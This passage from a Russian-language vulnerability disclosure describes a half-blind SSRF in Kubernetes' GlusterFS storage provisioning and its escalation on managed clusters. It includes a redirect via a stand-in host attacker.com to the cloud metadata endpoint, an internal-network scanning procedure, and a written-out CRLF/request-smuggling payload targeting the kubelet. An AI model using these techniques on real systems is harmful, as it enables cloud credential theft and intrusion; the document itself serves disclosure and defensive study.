  • ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ сцСнарий β„–3: использованиС HTTP CRLF + smuggling (Β«ΠΊΠΎΠ½Ρ‚Ρ€Π°Π±Π°Π½Π΄Ρ‹Β» запросов) для создания Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… HTTP-запросов ΠΈ получСния Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½Π½Ρ‹Ρ… ΠΈΠ· Π»ΠΎΠ³ΠΎΠ² kube-controller’Π°.

ВСхничСскиС спСцификации

  • Π’ исслСдованиях использовался Azure Kubernetes Service (AKS) с Kubernetes вСрсии 1.12 Π² Ρ€Π΅Π³ΠΈΠΎΠ½Π΅ North Europe.
  • ΠžΠΏΠΈΡΠ°Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅ сцСнарии Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡŒ Π½Π° послСдних Ρ€Π΅Π»ΠΈΠ·Π°Ρ… Kubernetes Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ сцСнария, Ρ‚.ΠΊ. Π΅ΠΌΡƒ трСбовался Kubernetes, собранный с Golang вСрсии ≀ 1.12.
  • Π’Π½Π΅ΡˆΠ½ΠΈΠΉ сСрвСр Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ β€” https://attacker.com.

ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ сцСнарий β„–1: Ρ€Π΅Π΄ΠΈΡ€Π΅ΠΊΡ‚ HTTP-запроса POST Π² GET ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…

Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ способ Π±Ρ‹Π» ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠ΅ΠΉ сСрвСра Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° Π½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ 302 HTTP Retcode, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ POST-запрос Π² GET-запрос (шаг 4 Π½Π° схСмС):

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ запрос (3), исходящий ΠΎΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° GlusterFS (Controller Manager), ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏ POST. Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги, ΠΌΡ‹ смогли ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² GET:

  • Π’ качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° resturl Π² StorageClass указываСтся http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ статус-ΠΊΠΎΠ΄ΠΎΠΌ 302 HTTP со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Location Header’ΠΎΠΌ: http://169.254.169.254. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ рСсурс β€” Π² Π΄Π°Π½Π½ΠΎΠΌ случаС redirect-ссылка ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.
  • По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° net/http Golang’Π° пСрСнаправляСт запрос ΠΈ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ POST Π² GET с 302-ΠΌ статус-ΠΊΠΎΠ΄ΠΎΠΌ, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ рСсурс поступаСт HTTP-запрос GET.

Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Ρ‚Π΅Π»ΠΎ HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π°, Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ describe ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° PVC:

kubectl describe pvc xxx

Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π° Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JSON, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΌ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ:

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

ВозмоТности Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΉ уязвимости Π½Π° Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π»ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ ΠΈΠ·-Π·Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ²:

  • ΠΠ΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π² исходящий запрос.
  • ΠΠ΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ POST-запрос с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ Π² Ρ‚Π΅Π»Π΅ (Ρ‚Π°ΠΊ ΡƒΠ΄ΠΎΠ±Π½ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π° Ρƒ экзСмпляра etcd, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅Π³ΠΎ Π½Π° 2379 ΠΏΠΎΡ€Ρ‚Ρƒ, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π΅Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ HTTP).
  • ΠΠ΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ содСрТимоС Ρ‚Π΅Π»Π° ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΊΠΎΠ³Π΄Π° статус-ΠΊΠΎΠ΄ Π±Ρ‹Π» Ρ€Π°Π²Π΅Π½ 200 ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π΅ ΠΈΠΌΠ΅Π» JSON Content-Type.

ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ сцСнарий β„–2: сканированиС локальной сСти

Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ half-blind SSRF Π·Π°Ρ‚Π΅ΠΌ использовался для сканирования Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ сСти поставщика ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… услуг ΠΈ опроса Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΡΠ»ΡƒΡˆΠ°ΡŽΡ‰ΠΈΡ… сСрвисов (экзСмпляр Metadata, Kubelet, etcd ΠΈ Ρ‚.Π΄.) Π½Π° основС ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² kube controller’Π°.

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

Π‘ΠΏΠ΅Ρ€Π²Π° Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ стандартныС ΡΠ»ΡƒΡˆΠ°ΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΡ€Ρ‚Ρ‹ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² Kubernetes (8443, 10250, 10251 ΠΈ Ρ‚.Π΄.), Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс сканирования.

Видя, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ способ сканирования рСсурсов ΠΎΡ‡Π΅Π½ΡŒ спСцифичСн ΠΈ Π½Π΅ совмСстим с классичСскими сканСрами ΠΈ SSRF-инструмСнтами, ΠΌΡ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ собствСнныС worker’Ρ‹ Π² bash-скриптС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ вСсь процСсс.

НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ быстрСС ΠΏΡ€ΠΎΡΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ 172.16.0.0/12 Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ сСти, ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Π»ΠΈΡΡŒ 15 worker’ΠΎΠ². Π’Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ IP Π±Ρ‹Π» Π²Ρ‹Π±Ρ€Π°Π½ ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π² качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° IP-Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ поставщика услуг.

Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΠΊΠ°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ IP-адрСс ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΡ€Ρ‚, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:

  • ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΉ Π² ΠΏΡ€ΠΎΡˆΠ»Ρ‹ΠΉ Ρ€Π°Π· StorageClass;
  • ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΉ Persistent Volume Claim;
  • ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ значСния IP ΠΈ Port Π² sc.yaml;
  • ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ StorageClass с Π½ΠΎΠ²Ρ‹ΠΌ IP ΠΈ ΠΏΠΎΡ€Ρ‚ΠΎΠΌ;
  • ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ PVC;
  • ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ сканирования с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ describe’Π° для PVC.

ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ сцСнарий β„–3: ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΡ CRLF + smuggling HTTP Π² «старых» вСрсиях кластСра Kubernetes

Если Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ этому ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π» ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌ старыС вСрсии кластСра K8s ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π» ΠΈΠΌ доступ ΠΊ Π»ΠΎΠ³Π°ΠΌ kube-controller-manager’а, эффСкт становился Π΅Ρ‰Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅.

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π³ΠΎΡ€Π°Π·Π΄ΠΎ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅ ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ HTTP-запросы, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ для получСния ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π°.

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

Для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ послСднСго сцСнария Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ условия:

  • ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ доступ ΠΊ Π»ΠΎΠ³Π°ΠΌ kube-controller-manager (ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Azure LogInsights).
  • ΠšΠ»Π°ΡΡ‚Π΅Ρ€ Kubernetes Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Ρ€ΡΠΈΡŽ Golang Π½ΠΈΠΆΠ΅ 1.12.

ΠœΡ‹ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΠ»ΠΈ локальноС ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, ΠΈΠΌΠΈΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π΅Π΅ ΠΎΠ±ΠΌΠ΅Π½ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ Go-ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ GlusterFS ΠΈ ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ сСрвСром (ΠΏΠΎΠΊΠ° воздСрТимся ΠΎΡ‚ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ PoC).

Π‘Ρ‹Π»Π° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ, Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°ΡŽΡ‰Π°Ρ вСрсии Golang Π½ΠΈΠΆΠ΅ 1.12 ΠΈ позволявшая Ρ…Π°ΠΊΠ΅Ρ€Π°ΠΌ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ Ρ‚ΠΈΠΏΠ° HTTP smuggling/CRLF.

ОбъСдинив ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π²Ρ‹ΡˆΠ΅ half-blind SSRF вмСстС с этой, ΠΌΡ‹ смогли ΠΏΠΎΡΡ‹Π»Π°Ρ‚ΡŒ запросы ΠΏΠΎ своСму вкусу, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π·Π°ΠΌΠ΅Π½Ρƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΌΠ΅Ρ‚ΠΎΠ΄Π° HTTP, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ kube-controller-manager Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π».

Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ Β«Π½Π°ΠΆΠΈΠ²ΠΊΠΈΒ» Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ resturl StorageClass’Π°, которая Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ сцСнарий Π°Ρ‚Π°ΠΊΠΈ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ошибка unsolicited response, сообщСниС ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ записываСтся Π² Π»ΠΎΠ³ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°. Благодаря Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ «многословности» Ρ‚ΡƒΠ΄Π° ΠΆΠ΅ сохраняСтся ΠΈ содСрТимоС ΠΎΡ‚Π²Π΅Ρ‚Π½ΠΎΠ³ΠΎ HTTP-сообщСния.

Когда Π΄Π΅Π»ΠΎ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² уязвимости Π² Kubernetes…

Π­Ρ‚ΠΎ Π±Ρ‹Π»Π° наша самая Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½Π°Ρ Β«Π½Π°ΠΆΠΈΠ²ΠΊΠ°Β» Π² Ρ€Π°ΠΌΠΊΠ°Ρ… proof of concept.

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, ΠΌΡ‹ смогли провСсти Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π°Ρ‚Π°ΠΊ Π² кластСрах Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… поставщиков managed k8s: эскалация ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ с ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° metadata-инстансах, DoS мастСра с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ (Π½Π΅Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ…) HTTP-запросов Π½Π° мастСр-экзСмплярах etcd ΠΈ Ρ‚.ΠΏ.

ΠŸΠΎΡΠ»Π΅Π΄ΡΡ‚Π²ΠΈΡ

Π’ ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌ заявлСнии Kubernetes ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρƒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ Π½Π°ΠΌΠΈ SSRF-уязвимости Π΅ΠΉ Π±Ρ‹Π» присвоСн Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Если Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ Kubernetes, Π²Π΅ΠΊΡ‚ΠΎΡ€ цСлостности (integrity vector) Π² Π½Π΅ΠΉ квалифицируСтся ΠΊΠ°ΠΊ None.

Однако ΠΎΡ†Π΅Π½ΠΊΠ° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… послСдствий Π² контСкстС управляСмого сСрвисного окруТСния (ΠΈ это Π±Ρ‹Π»Π° самая интСрСсная Ρ‡Π°ΡΡ‚ΡŒ нашСго исслСдования!) ΠΏΠΎΠ±ΡƒΠ΄ΠΈΠ»Π° нас ΠΏΠ΅Ρ€Π΅ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π½Π° Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³ Critical CVSS10/10 для ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄ΠΈΡΡ‚Ρ€ΠΈΠ±ΡŒΡŽΡ‚ΠΎΡ€ΠΎΠ².

НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ информация, которая ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ ΠΌΡ‹ Ρ€ΡƒΠΊΠΎΠ²ΠΎΠ΄ΡΡ‚Π²ΠΎΠ²Π°Π»ΠΈΡΡŒ ΠΏΡ€ΠΈ ΠΎΡ†Π΅Π½ΠΊΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… послСдствий Π² ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… окруТСниях:

Π¦Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ

  • Π£Π΄Π°Π»Π΅Π½Π½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….
  • ВоспроизвСдСниС Π²Ρ‹ΡˆΠ΅ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠ³ΠΎ сцСнария ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ IDOR (Insecure Direct Object Reference, Ρ‚.Π΅. нСбСзопасных прямых ссылок Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹) с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ рСсурсами, ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ Π² локальной сСти.

ΠšΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ

  • Атака Ρ‚ΠΈΠΏΠ° Lateral Movement благодаря ΠΊΡ€Π°ΠΆΠ΅ ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, metadata API).
  • Π‘Π±ΠΎΡ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сканирования локальной сСти (ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ вСрсии SSH, вСрсии HTTP-сСрвСра, …).
  • Π‘Π±ΠΎΡ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± экзСмплярах ΠΈ инфраструктурС ΠΏΡƒΡ‚Π΅ΠΌ опроса Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… API, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ metadata API (http://169.254.169.254, …).
  • ΠšΡ€Π°ΠΆΠ° Π΄Π°Π½Π½Ρ‹Ρ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ….

Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ

